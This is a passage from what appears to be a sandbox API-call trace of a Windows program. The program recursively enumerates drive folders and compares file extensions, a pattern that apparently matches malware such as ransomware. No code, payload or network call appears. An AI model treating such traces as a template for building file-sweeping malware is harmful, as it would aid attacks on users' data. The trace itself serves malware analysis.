(lpString=".pwm") returned 4 [0146.466] lstrcmpiW (lpString1=".pwm", lpString2="btix") returned -1 [0146.466] FindNextFileW (in: hFindFile=0x6c1ae0, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.466] FindNextFileW (in: hFindFile=0x6c1ae0, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.466] FindNextFileW (in: hFindFile=0x6c1ae0, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0 [0146.466] FindClose (in: hFindFile=0x6c1ae0 | out: hFindFile=0x6c1ae0) returned 1 [0146.467] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.467] FindNextFileW (in: hFindFile=0x6c1660, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.467] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3b70e18 [0146.467] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0x6c14a0 [0146.468] FindNextFileW (in: hFindFile=0x6c14a0, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.468] FindNextFileW (in: hFindFile=0x6c14a0, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.468] FindNextFileW (in: hFindFile=0x6c14a0, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.468] FindNextFileW (in: hFindFile=0x6c14a0, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.468] FindNextFileW (in: hFindFile=0x6c14a0, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.468] FindNextFileW (in: hFindFile=0x6c14a0, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.468] FindNextFileW (in: hFindFile=0x6c14a0, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0 [0146.468] FindClose (in: hFindFile=0x6c14a0 | out: hFindFile=0x6c14a0) returned 1 [0146.469] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.469] FindNextFileW (in: hFindFile=0x6c1660, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 0 [0146.469] FindClose (in: hFindFile=0x6c1660 | out: hFindFile=0x6c1660) returned 1 [0146.469] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0146.470] FindNextFileW (in: hFindFile=0x6c1a20, lpFindFileData=0x329fcf8 | out: lpFindFileData=0x329fcf8) returned 1 [0146.470] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3b60e10 [0146.470] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 0x6c1920 [0146.470] FindNextFileW (in: hFindFile=0x6c1920, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.470] FindNextFileW (in: hFindFile=0x6c1920, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.470] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3b70e18 [0146.471] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0x6c1520 [0146.471] FindNextFileW (in: hFindFile=0x6c1520, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.471] FindNextFileW (in: hFindFile=0x6c1520, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.471] FindNextFileW (in: hFindFile=0x6c1520, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0 [0146.471] FindClose (in: hFindFile=0x6c1520 | out: hFindFile=0x6c1520) returned 1 [0146.471] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.471] FindNextFileW (in: hFindFile=0x6c1920, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.471] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3b70e18 [0146.471] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0x6c14e0 [0146.471] FindNextFileW (in: hFindFile=0x6c14e0, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.471] FindNextFileW (in: hFindFile=0x6c14e0, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.471] FindNextFileW (in: hFindFile=0x6c14e0, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.471] FindNextFileW (in: hFindFile=0x6c14e0, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0 [0146.471] FindClose (in: hFindFile=0x6c14e0 | out: hFindFile=0x6c14e0) returned 1 [0146.472] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.472] FindNextFileW (in: hFindFile=0x6c1920, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 0 [0146.472] FindClose (in: hFindFile=0x6c1920 | out: hFindFile=0x6c1920) returned 1 [0146.472] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0146.472] FindNextFileW (in: hFindFile=0x6c1a20, lpFindFileData=0x329fcf8 | out: lpFindFileData=0x329fcf8) returned 1 [0146.472] FindNextFileW (in: hFindFile=0x6c1a20, lpFindFileData=0x329fcf8 | out: lpFindFileData=0x329fcf8) returned 1 [0146.472] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3b60e10 [0146.473] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 0x6c1a60 [0146.473] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.473] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.473] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3b70e18 [0146.473] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0x6c1b60 [0146.474] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.474] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.474] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.474] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.474] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0 [0146.474] FindClose (in: hFindFile=0x6c1b60 | out: hFindFile=0x6c1b60) returned 1 [0146.475] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.475] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.475] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3b70e18 [0146.475] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0x6c1ae0 [0146.476] FindNextFileW (in: hFindFile=0x6c1ae0, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.476] FindNextFileW (in: hFindFile=0x6c1ae0, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.476] FindNextFileW (in: hFindFile=0x6c1ae0, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.476] FindNextFileW (in: hFindFile=0x6c1ae0, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.476] FindNextFileW (in: hFindFile=0x6c1ae0, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0 [0146.476] FindClose (in: hFindFile=0x6c1ae0 | out: hFindFile=0x6c1ae0) returned 1 [0146.477] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.477] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.477] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3b70e18 [0146.477] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0x6c1660 [0146.478] FindNextFileW (in: hFindFile=0x6c1660, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.478] FindNextFileW (in: hFindFile=0x6c1660, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.478] FindNextFileW (in: hFindFile=0x6c1660, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.478] FindNextFileW (in: hFindFile=0x6c1660, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.478] FindNextFileW (in: hFindFile=0x6c1660, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0 [0146.478] FindClose (in: hFindFile=0x6c1660 | out: hFindFile=0x6c1660) returned 1 [0146.479] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.479] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.479] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3b70e18 [0146.479] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0x6c1820 [0146.480] FindNextFileW (in: hFindFile=0x6c1820, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.480] FindNextFileW (in: hFindFile=0x6c1820, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.480] FindNextFileW (in: hFindFile=0x6c1820, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.480] FindNextFileW (in: hFindFile=0x6c1820, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.480] FindNextFileW (in: hFindFile=0x6c1820, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0 [0146.480] FindClose (in: hFindFile=0x6c1820 | out: hFindFile=0x6c1820) returned 1 [0146.481] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.481] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.481] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3b70e18 [0146.481] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0x6c1b60 [0146.626] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.626] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.626] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.626] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.626] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0 [0146.626] FindClose (in: hFindFile=0x6c1b60 | out: hFindFile=0x6c1b60) returned 1 [0146.627] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.627] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.627] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3b70e18 [0146.627] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0x6c1820 [0146.627] FindNextFileW (in: hFindFile=0x6c1820, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.627] FindNextFileW (in: hFindFile=0x6c1820, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.627] FindNextFileW (in: hFindFile=0x6c1820, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.628] FindNextFileW (in: hFindFile=0x6c1820, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.628] FindNextFileW (in: hFindFile=0x6c1820, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0 [0146.628] FindClose (in: hFindFile=0x6c1820 | out: hFindFile=0x6c1820) returned 1 [0146.628] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.628] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.628] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3b70e18 [0146.628] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0x6c1b60 [0146.629] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.629] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.629] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.629] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.629] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0 [0146.629] FindClose (in: hFindFile=0x6c1b60 | out: hFindFile=0x6c1b60) returned 1 [0146.630] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.630] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.630] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3b70e18 [0146.630] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0x6c1920 [0146.631] FindNextFileW (in: hFindFile=0x6c1920, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.631] FindNextFileW (in: hFindFile=0x6c1920, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.631] FindNextFileW (in: hFindFile=0x6c1920, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.631] FindNextFileW (in: hFindFile=0x6c1920, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.632] FindNextFileW (in: hFindFile=0x6c1920, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0 [0146.632] FindClose (in: hFindFile=0x6c1920 | out: hFindFile=0x6c1920) returned 1 [0146.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.632] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.632] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3b70e18 [0146.632] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0x6c1920 [0146.633] FindNextFileW (in: hFindFile=0x6c1920, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.633] FindNextFileW (in: hFindFile=0x6c1920, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.633] FindNextFileW (in: hFindFile=0x6c1920, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.633] FindNextFileW (in: hFindFile=0x6c1920, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.633] FindNextFileW (in: hFindFile=0x6c1920, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0 [0146.633] FindClose (in: hFindFile=0x6c1920 | out: hFindFile=0x6c1920) returned 1 [0146.634] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.634] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.634] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3b70e18 [0146.634] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0x6c15e0 [0146.635] FindNextFileW (in: hFindFile=0x6c15e0, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.635] FindNextFileW (in: hFindFile=0x6c15e0, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.635] FindNextFileW (in: hFindFile=0x6c15e0, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.635] FindNextFileW (in: hFindFile=0x6c15e0, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.635] FindNextFileW (in: hFindFile=0x6c15e0, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0 [0146.635] FindClose (in: hFindFile=0x6c15e0 | out: hFindFile=0x6c15e0) returned 1 [0146.636] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.636] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.636] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3b70e18 [0146.636] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0x6c1b60 [0146.636] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.637] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.637] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.637] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.637] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0 [0146.637] FindClose (in: hFindFile=0x6c1b60 | out: hFindFile=0x6c1b60) returned 1 [0146.637] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.637] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.638] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3b70e18 [0146.638] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0x6c1520 [0146.638] FindNextFileW (in: hFindFile=0x6c1520, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.638] FindNextFileW (in: hFindFile=0x6c1520, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.638] FindNextFileW (in: hFindFile=0x6c1520, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.638] FindNextFileW (in: hFindFile=0x6c1520, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.639] FindNextFileW (in: hFindFile=0x6c1520, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0 [0146.639] FindClose (in: hFindFile=0x6c1520 | out: hFindFile=0x6c1520) returned 1 [0146.639] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.639] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.639] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3b70e18 [0146.639] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0x6c1b60 [0146.640] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.640] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.640] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.640] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.640] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0 [0146.640] FindClose (in: hFindFile=0x6c1b60 | out: hFindFile=0x6c1b60) returned 1 [0146.641] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.641] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.641] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3b70e18 [0146.641] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0x6c15e0 [0146.642] FindNextFileW (in: hFindFile=0x6c15e0, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.642] FindNextFileW (in: hFindFile=0x6c15e0, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.642] FindNextFileW (in: hFindFile=0x6c15e0, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.642] FindNextFileW (in: hFindFile=0x6c15e0, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.642] FindNextFileW (in: hFindFile=0x6c15e0, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0 [0146.642] FindClose (in: hFindFile=0x6c15e0 | out: hFindFile=0x6c15e0) returned 1 [0146.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.643] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.643] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3b70e18 [0146.643] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0x6c19a0 [0146.643] FindNextFileW (in: hFindFile=0x6c19a0, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.643] FindNextFileW (in: hFindFile=0x6c19a0, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.644] FindNextFileW (in: hFindFile=0x6c19a0, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.644] FindNextFileW (in: hFindFile=0x6c19a0, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.644] FindNextFileW (in: hFindFile=0x6c19a0, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0 [0146.644] FindClose (in: hFindFile=0x6c19a0 | out: hFindFile=0x6c19a0) returned 1 [0146.644] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.644] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.645] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3b70e18 [0146.645] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0x6c1b60 [0146.645] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.645] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.645] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.645] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.646] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0 [0146.646] FindClose (in: hFindFile=0x6c1b60 | out: hFindFile=0x6c1b60) returned 1 [0146.646] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.646] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.646] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3b70e18 [0146.647] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0x6c1720 [0146.647] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.647] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.647] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.647] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.647] FindNextFileW (in: hFindFile=0x6c1720, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0 [0146.648] FindClose (in: hFindFile=0x6c1720 | out: hFindFile=0x6c1720) returned 1 [0146.648] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0146.648] FindNextFileW (in: hFindFile=0x6c1a60, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c) returned 1 [0146.648] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3b70e18 [0146.648] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0x6c1660 [0146.649] FindNextFileW (in: hFindFile=0x6c1660, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.649] FindNextFileW (in: hFindFile=0x6c1660, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.649] FindNextFileW (in: hFindFile=0x6c1660, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.649] FindNextFileW (in: hFindFile=0x6c1660, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 1 [0146.649] FindNextFileW (in: hFindFile=0x6c1660, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800) returned 0 [0146.649] FindClose (in: hFindFile=0x6c1660 | out: hFindFile=0x6c1660) returned 1 [0146.650] HeapFree 